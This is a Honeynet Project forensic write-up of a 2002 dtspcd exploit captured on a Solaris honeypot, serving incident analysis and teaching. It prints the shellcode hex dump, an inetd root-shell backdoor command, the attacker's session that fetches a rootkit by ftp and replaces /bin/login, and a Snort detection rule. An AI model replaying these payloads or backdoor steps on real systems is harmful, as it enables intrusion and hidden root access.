Honeynet Project
Scan of the Month for April 2002

By Solar Eclipse <solareclipse at phreedom dot org>

The Challenge:

On 08 January, 2002 a default, unpatched installation of Solaris8 Sparc was remotely compromised with the dtspcd exploit. What makes this attack interesting is that this is the first time the attack was identified and captured in the wild, resulting a CERT advisory.
Using the Snort binary capture of the attack, answer the following questions. The honeypot that is attacked is

What is a NOP slide, and how is this one different from the NOP slide in the rpc.statd exploit in Scan10?

In most buffer overflow exploits, the attacker does not know the exact location of the shellcode. Even if the exact address of the shellcode can be determined by examining the binary of the vulnerable program, different versions of it might have different target locations. Recompiling or running the program in a different environment can also change the address of the shellcode. Since the difference in the location is often small, a NOP-slide technique can be utilized to make the exploit more reliable.

A NOP-slide is a sequence of NOP (no operation) instructions strategically placed before the real shellcode. Depending on the size of the buffer the exploit is overwriting, there might be enough space for thousands of NOP instructions before the shellcode. When a return address is overwritten (or the execution of the vulnerable program is hijacked by other means), the jump location does not need to point to the first instruction of the shellcode. It can point to any of the NOP instructions in the buffer. The execution will "slide" down the NOPs and reach the shellcode. The advantage of this technique is that the attacker can guess the jump location with a low degree of accuracy and still successfully exploit the program.

In x86 exploits the most commonly used NOP-slide uses opcode 0x90 (NOP). Long sequences of NOP instructions are easily detected by network intrusion detection systems like Snort. More sophisticated attackers would use a sequence of normal (non-NOP) instructions that don't interfere with the execution of the shellcode (like xor eax, eax).

The instruction used for the NOP-slide in the Solaris/Sparc dtspcd exploit is xor %l1, %l1, %g0 (0x801c401 in the packet dump). This instruction has no effect on the program flow and can be executed many times before the execution reaches the real shell code.

The following hex dump is a packet sent to the dtspcd service (tcp/6112) on the honeypot:

09:46:07.042661 adsl-61-1-160.dab.bellsouth.net.3595 >
P 1:1449(1448) ack 1 win 16060  (DF)

0000  00 e0 1e 60 70 40 08 00  20 f6 d3 58 08 00 45 00   .à.`p@..  öÓX..E.
0010  05 dc a1 c1 40 00 30 06  24 07 d0 3d 01 a0 ac 10   .Ü¡Á@.0. $.Ð=. ¬.
0020  01 66 0e 0b 17 e0 fe e0  8c 48 5f 82 f4 3e 80 18   .f...àþà .H_.ô>..
0030  3e bc 39 6b 00 00 01 01  08 0a 1b a7 e1 09 00 3f   >¼9k.... ...§á..?
0040  76 56 30 30 30 30 30 30  30 32 30 34 31 30 33 65   vV000000 0204103e
0050  30 30 30 34 20 20 34 20  00 00 00 31 30 00 80 1c   0004  4  ...10...
0060  40 11 80 1c 40 11 10 80  01 01 80 1c 40 11 80 1c   @...@... ....@...
0070  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 80 1c   @...@... @...@...
0080  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 80 1c   @...@... @...@...
0090  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 80 1c   @...@... @...@...
                         --- CUT ---
04c0  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 80 1c   @...@... @...@...
04d0  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 80 1c   @...@... @...@...
04e0  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 80 1c   @...@... @...@...
04f0  40 11 80 1c 40 11 80 1c  40 11 80 1c 40 11 20 bf   @...@... @...@. ¿ 
0500  ff ff 20 bf ff ff 7f ff  ff ff 90 03 e0 34 92 23   ÿÿ ¿ÿÿ.ÿ ÿÿ..à4.#
0510  e0 20 a2 02 20 0c a4 02  20 10 c0 2a 20 08 c0 2a   à ¢. .¤.  .À* .À*
0520  20 0e d0 23 ff e0 e2 23  ff e4 e4 23 ff e8 c0 23    .Ð#ÿàâ# ÿää#ÿèÀ#
0530  ff ec 82 10 20 0b 91 d0  20 08 2f 62 69 6e 2f 6b   ÿì.. ..Ð  ./bin/k
0540  73 68 20 20 20 20 2d 63  20 20 65 63 68 6f 20 22   sh    -c   echo "
0550  69 6e 67 72 65 73 6c 6f  63 6b 20 73 74 72 65 61   ingreslo ck strea
0560  6d 20 74 63 70 20 6e 6f  77 61 69 74 20 72 6f 6f   m tcp no wait roo
0570  74 20 2f 62 69 6e 2f 73  68 20 73 68 20 2d 69 22   t /bin/s h sh -i"
0580  3e 2f 74 6d 70 2f 78 3b  2f 75 73 72 2f 73 62 69   >/tmp/x; /usr/sbi
0590  6e 2f 69 6e 65 74 64 20  2d 73 20 2f 74 6d 70 2f   n/inetd  -s /tmp/
05a0  78 3b 73 6c 65 65 70 20  31 30 3b 2f 62 69 6e 2f   x;sleep  10;/bin/
05b0  72 6d 20 2d 66 20 2f 74  6d 70 2f 78 20 41 41 41   rm -f /t mp/x AAA
05c0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   AAAAAAAA AAAAAAAA
05d0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   AAAAAAAA AAAAAAAA
05e0  41 41 41 41 41 41 41 41  41 41                     AAAAAAAA AA

As you can see, the buffer is filled with more than 250 xor %l1, %l1, %g0 instructions. The attacker can point the return address anywhere within that range and successfully exploit the service.

The only difference between this NOP-slide and the NOP-slide used in the rpc.statd exploit from scan10 is the target architecture. The rpc.statd exploit targets x86 and uses the 0x90 NOP instruction. The dtspcd exploit targets Sparc and uses the xor %l1, %l1, %g0 instruction. Because of the different instruction sets, the Sparc instruction is 4 bytes long and the x86 one is only 1 byte.

The attack was on 08 Jan, 2002. Would Snort have generated an alert then for the attack?

A properly configured Snort system would have generated a SHELLCODE sparc NOOP alert. This rule has been in the snort rules (shellcode.rules and before that in overflow-lib) since 2000:

alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP";
content:"|801c 4011 801c 4011 801c 4011 801c 4011|"; reference:arachnids,353;

While we are on the topic of IDS alerts, allow me to make a few observations. As many people have pointed out before, setting up an IDS is not sufficient for protecting a system from hackers. If this were the case, intrusion detection systems would be installed and running by default on all installations of RedHat or Debian. Unfortunately getting secure and staying secure requires a whole lot of work. A Snort alert is useless if you don't receive it (you should have all high priority alerts sent to you by SMS) or don't react immediately. If you wait till next morning it might be too late to save the corporate data. Very few organizations have good emergency response teams and procedures, or even the resources for it. Even when the system administrator is interested in security, his efforts are often limited by the company-wide attitude of "we don't care and even if we did, we wouldn't have the money for it". The most common security practice in 2002 is based on the incompetence of the average script kiddie - certainly not a viable long turn option. But enough ranting, let's get back to business.

In the exploit code, the command "/bin/sh sh -i" is given, what is its purpose, and why is 'sh' shown twice?

The exploit executes writes the line "ingreslock stream tcp nowait root /bin/sh sh -i" to /tmp/a and then executes /usr/sbin/inetd with /tmp/a as a configuration file. The format for the configuration file is described in the inetd.conf man page. The last two fields are <server_path> and <args>.

When inetd receives a connection on port 1524 (ingreslock), it executes /bin/sh with parameters 'sh' and '-i'. The first parameter (argv[0] for the C programmers reading this) is the name of the program as it appears in ps, the second one is the 'run interactive' command line option. Without this option the hacker will have to separate her shell commands with a semicolon. With -i the shell works just like a normal shell.

The attacker executed a variety of commands on the hacked Solaris box. Which commands were automated by the exploit, which commands were manual by the attacker himself?

The first session on port 1524 (ingreslock) is definitely run by a script. The time between consecutive commands is rarely more than a few seconds. Each command is send as in packet, instead of sending it character by character as telnet would do. One of the packets even includes two commands separated by a newline - something very unusual for any command line tool. During the ftp login the username, password and all ftp commands are sent before the server gets a chance to respond with the username prompt.

There are two places where there are 20-30 seconds between two commands. It is possible that the attacker had a file with the commands to run and was pasting them into a netcat session, a few lines at a time.

The session follows:

uname -a;ls -l /core /var/dt/tmp/DTSPCD.log;PATH=/usr/local/bin:/usr/bin:/
bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH;echo "BD PID(s): "`ps
 -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`
# SunOS buzzy 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 3476
# w
  8:47am  up 11:24,  0 users,  load average: 0.12, 0.04, 0.02
User     tty           login@  idle   JCPU   PCPU  what
# unset HISTFILE
# cd /tmp
mkdir /usr/lib
# mkdir: Failed to make directory "/usr/lib"; File exists
# mv /bin/login /usr/lib/libfl.k
# ftp
ftp: ioctl(TIOCGETP): Invalid argument

cd pub
get sun1
Name ( # 
# ls
# chmod 555 sun1
# mv sun1 /bin/login

After the commands in the ingreslock session are executed, the atacker connects to the honeypot with telnet, negotiates the telnet options and immediately disconnects. The purpose of this is to verify that the telnet server is running, without leaving too many traces in the system logs.

It is very likely that this attack was executed by an automated script and the attacker was going to return to the machine later.

What is sun1, and how does it work?

sun1 is a part of a Solaris rootkit. The original /bin/login is copied to /usr/lib/libfl.k and replaces with sun1. The primary job of login is to authenticate users and handle logins, and as such it is a primary target of many rootkits.

Unfortunately the snort capture was corrupted and reconstructing sun1 from the ftp session was impossible with both ethereal and tcpflow. The file was reported as truncated by objdump, gdb and IDA. But even without disassembling the file, it is easy to guess what it does.

When the hacker telnets to the compromised machine, sun1 is invoked. If the hacker enters a magic username or password, sun1 executes /bin/sh and gives the attacker root access to the machine. If a user logs in with a normal username and password, sun1 forwards them to the real login program, which was stored in /usr/lib/libfl.k.

The following strings found in sun1 confirm this analyzis:


What did you learn from this exercise?

Black hats often get their hands on cool exploits before the rest of us. Ph34r!

How long did this challenge take you?

3 hours.

Bonus Question:
One of the commands executed during the attack is

echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`

What is the purpose of this command and what does 'BD' stand for?

Let's take it apart:

echo "BD PID(s): " prints "BD PID(s): "

ps -fed prints a full listing of all processes on the system, omiting session leaders

The process listing is piped through grep, which prints only the lines that contain '-s /tmp/x'. This lists the copy(ies) of inetd that our exploit has started.

grep -v grep filters out the grep command from the list

The awk script takes the second field out of the process listing (the process id) and prints it.

The end result is something like this:
BD PID(s): 4177 4182 31310

I am not sure what BD stands for, but my guess is 'background' or 'bind daemon'. This command shows the attacker the process id of the inetd executing the session.